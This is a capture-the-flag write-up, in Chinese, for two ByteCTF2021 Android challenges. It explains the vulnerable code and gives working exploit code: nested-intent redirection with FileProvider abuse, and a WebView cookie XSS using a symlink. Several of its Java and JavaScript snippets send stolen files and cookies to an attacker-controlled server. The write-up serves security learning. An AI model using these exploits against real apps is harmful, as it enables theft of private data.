Android Security学习之ByteCTF2021_mobile 环境搭建+前两道题Writeup
字数 2090 2025-08-22 12:23:30
Android Security学习:ByteCTF2021_mobile环境搭建与题目解析
环境搭建
系统要求
- 操作系统:Ubuntu 18.04
- 需要开启CPU虚拟化支持
准备工作
- 安装Docker
- 准备Flask服务器用于接收flag
Flask服务器代码
from flask import Flask, request, send_from_directory
import os
app = Flask(__name__, static_folder='dist')
@app.route("/")
def hello():
return "hello world"
# URL参数解析
@app.route('/getUrlParam')
def getUrlParam():
flag = request.args["msg"]
with open("./flag.sql", 'w') as f:
f.write(flag)
s = "flag: %s" % flag
print(s)
return s
@app.route('/test')
def test():
print("test")
return app.send_static_file('test.html')
# easydroid XSS
@app.route('/exp.html')
def ret_exp():
print('exp.html')
return app.send_static_file('exp.html')
@app.route('/easydroid.html')
def ret_easydroid():
print('easydroid.html')
return app.send_static_file('easydroid.html')
# pwn.apk下载
@app.route('/download/<filename>', methods=['GET'])
def download(filename):
if request.method == "GET":
path = os.path.isfile(os.path.join(app.config['DOWNLOAD_FOLDER'], filename))
if path:
return send_from_directory(app.config['DOWNLOAD_FOLDER'], filename, as_attachment=True)
if __name__ == "__main__":
app.config['DOWNLOAD_FOLDER'] = 'dist/download/'
app.run(host='0.0.0.0', port=5000)
运行步骤
-
在
~/ByteCTF2021_Android/babydroid/src_babydroid目录下执行run.sh脚本生成babydroid容器sudo bash run.sh- 下载镜像需要10-15分钟
- 镜像中包含Android虚拟环境
-
进入babydroid容器,在
/challeng目录下执行server.py文件python3 server.py- 容器中会自动在emulator中执行pwn.apk
- 发动攻击并传出flag
-
在Flask服务器上接收传出的flag
常见问题解决
-
CPU虚拟化问题:
- 确保BIOS中开启CPU虚拟化
- 如果使用WSL并开启了Hyper-V,可能导致VMware无法直接访问物理层
-
ADB端口问题:
- 在启动脚本中修改ADB_PORT,否则无法建立HTTP连接
babydroid题目解析
漏洞点分析
-
FlagReceiver.java:
public void onReceive(Context context, Intent intent) { String flag = intent.getStringExtra("flag"); if (flag != null){ File file = new File(context.getFilesDir(), "flag"); writeFile(file, flag); Log.e("FlagReceiver", "received flag."); } }- 接收广播并将flag写入
/data/user/0/com.bytectf.babydroid/files/flag
- 接收广播并将flag写入
-
Vulnerable.java中的Intent重定向漏洞:
public class Vulnerable extends Activity { @Override protected void onCreate(@Nullable Bundle savedInstanceState) { super.onCreate(savedInstanceState); Intent intent = getIntent().getParcelableExtra("intent"); startActivity(intent); } }- 将Intent中的Extra属性值反序列化为新Intent并执行
- 允许构造嵌套Intent进行攻击
-
FileProvider配置问题:
<provider android:name="androidx.core.content.FileProvider" android:authorities="androidx.core.content.FileProvider" android:grantUriPermissions="true" android:exported="false"> <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/file_paths" /> </provider>grantUriPermissions="true"允许临时授权file_paths.xml配置了根目录访问权限
攻击思路
-
构造嵌套Intent:
- 外层Intent跳转到Vulnerable Activity
- 内层Intent设置文件URI和读写权限
-
利用FileProvider临时授权:
- 通过Intent.FLAG_GRANT_READ_URI_PERMISSION授予读取权限
- 访问目标应用的flag文件
-
通过HTTP传出flag
攻击代码示例
// 构造内层Intent
Intent evil = new Intent("evil");
evil.setClass(this, MainActivity.class);
evil.setData(Uri.parse("content://androidx.core.content.FileProvider/root/data/data/com.bytectf.babydroid/files/flag"));
evil.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
// 构造外层Intent
Intent intent = new Intent();
intent.setClassName("com.bytectf.babydroid", "com.bytectf.babydroid.Vulnerable");
intent.putExtra("intent", evil);
// 读取flag并传出
InputStream inputStream = getContentResolver().openInputStream(getIntent().getData());
String s = Base64.encodeToString(IOUtils.toString(inputStream).getBytes("UTF-8"), Base64.DEFAULT).replaceAll("\n", "");
httpGet(s);
关键知识点
-
Intent组件跳转:
- 显式Intent与隐式Intent
- Intent的Extra数据传递
-
FileProvider权限控制:
- 临时权限授予机制
- 文件路径配置
easydroid题目解析
漏洞点分析
-
FlagReciever.java:
public void onReceive(Context context, Intent intent) { String flag = intent.getStringExtra("flag"); if (flag != null){ try { flag = Base64.encodeToString(flag.getBytes("UTF-8"), Base64.DEFAULT); CookieManager cookieManager = CookieManager.getInstance(); cookieManager.setCookie("https://tiktok.com/", "flag=" + flag); Log.e("FlagReceiver", "received flag."); } catch (UnsupportedEncodingException e) { e.printStackTrace(); } } }- 将flag存入Cookies中
- Cookies存储在
/data/data/com.bytectf.easydroid/app_webview/Cookies
-
MainActivity.java中的WebView漏洞:
if (data.getAuthority().contains("toutiao.com") && data.getScheme().equals("http")){ WebView webView = new WebView(getApplicationContext()); webView.setWebViewClient(new WebViewClient(){ @Override public boolean shouldOverrideUrlLoading(WebView view, String url) { Uri uri = Uri.parse(url); if (uri.getScheme().equals("intent")){ try { startActivity(Intent.parseUri(url, 1)); } catch (URISyntaxException e) { e.printStackTrace(); } return true; } return super.shouldOverrideUrlLoading(view, url); } }); setContentView(webView); webView.getSettings().setJavaScriptEnabled(true); webView.loadUrl(data.toString()); }- URL验证不严格(使用contains而非equals)
- 存在Intent重定向漏洞
- WebView默认开启JavaScript和文件访问
-
TestActivity.java:
protected void onCreate(@Nullable Bundle savedInstanceState) { super.onCreate(savedInstanceState); String url = getIntent().getStringExtra("url"); WebView webView = new WebView(getApplicationContext()); setContentView(webView); webView.getSettings().setJavaScriptEnabled(true); webView.loadUrl(url); }- 不导出的Activity
- WebView配置存在风险
攻击思路
- 创建指向Cookies文件的软链接
- 通过Intent重定向绕过URL检查
- 使用XSS攻击注入恶意脚本
- 通过WebView渲染Cookies文件执行脚本
- 脚本将flag内容通过HTTP传出
攻击步骤
-
创建软链接:
private String symlink() { try { String root = getApplicationInfo().dataDir; String symlink = root + "/symlink.html"; String cookies = getPackageManager().getApplicationInfo("com.bytectf.easydroid", 0).dataDir + "/app_webview/Cookies"; Runtime.getRuntime().exec("rm " + symlink).waitFor(); Runtime.getRuntime().exec("ln -s " + cookies + " " + symlink).waitFor(); Runtime.getRuntime().exec("chmod -R 777 " + root).waitFor(); return symlink; } catch (Throwable th) { throw new RuntimeException(th); } } -
构造恶意Intent:
Intent intent = new Intent(); intent.setClassName("com.bytectf.easydroid", "com.bytectf.easydroid.MainActivity"); intent.setData(Uri.parse("http://toutiao.com@10.24.32.128:5000/easydroid.html")); startActivity(intent); -
XSS注入脚本(easydroid.html):
<script> function sleep(ms) { return new Promise(resolve => setTimeout(resolve, ms)) } sleep(1000).then(() => { location.href = "intent:#Intent;component=com.bytectf.easydroid/.TestActivity;S.url=http%3A%2F%2F10.24.32.128:5000%2Fexp.html;end"; sleep(40000).then(() => { location.href = "intent:#Intent;component=com.bytectf.easydroid/.TestActivity;S.url=file%3A%2F%2F%2Fdata%2Fdata%2Fcom.bytectf.pwneasydroid%2Fsymlink.html;end"; }) }) </script> -
恶意脚本(exp.html):
<script> document.cookie = "x = ''"; </script>- 解码后脚本:
new Image().src = "http://10.24.32.128:5000/getUrlParam?msg=" + encodeURIComponent(document.getElementsByTagName("html")[0].innerHTML);
- 解码后脚本:
关键知识点
-
Intent重定向:
- 通过WebView的shouldOverrideUrlLoading实现
- 绕过Activity导出限制
-
WebView安全:
- setAllowFileAccess和setJavaScriptEnabled的风险组合
- CookieManager的使用
-
XSS攻击:
- 通过Cookie注入脚本
- 使用base64编码绕过保护机制
常见问题解答
-
为什么需要TestActivity来渲染exp.html和symlink.html?
- MainActivity对URL scheme有限制(file://无法通过检查)
- TestActivity没有导出,必须通过Intent重定向访问
-
恶意js代码为什么需要btoa加密?
- 防止特殊字符被截断或转义
- 绕过可能的保护机制
-
为什么可以将其他app的文件软链接到自己的文件夹?
- 软链接本身没有安全问题
- 关键看目标文件的权限和访问控制
- 这里通过目标应用的TestActivity来访问,具有足够权限
-
Intent跳转后新app的权限问题:
- Intent跳转不携带权限
- 文件访问权限需要提前通过其他方式(如FileProvider)授予
- 本案例中通过临时URI权限实现跨应用文件访问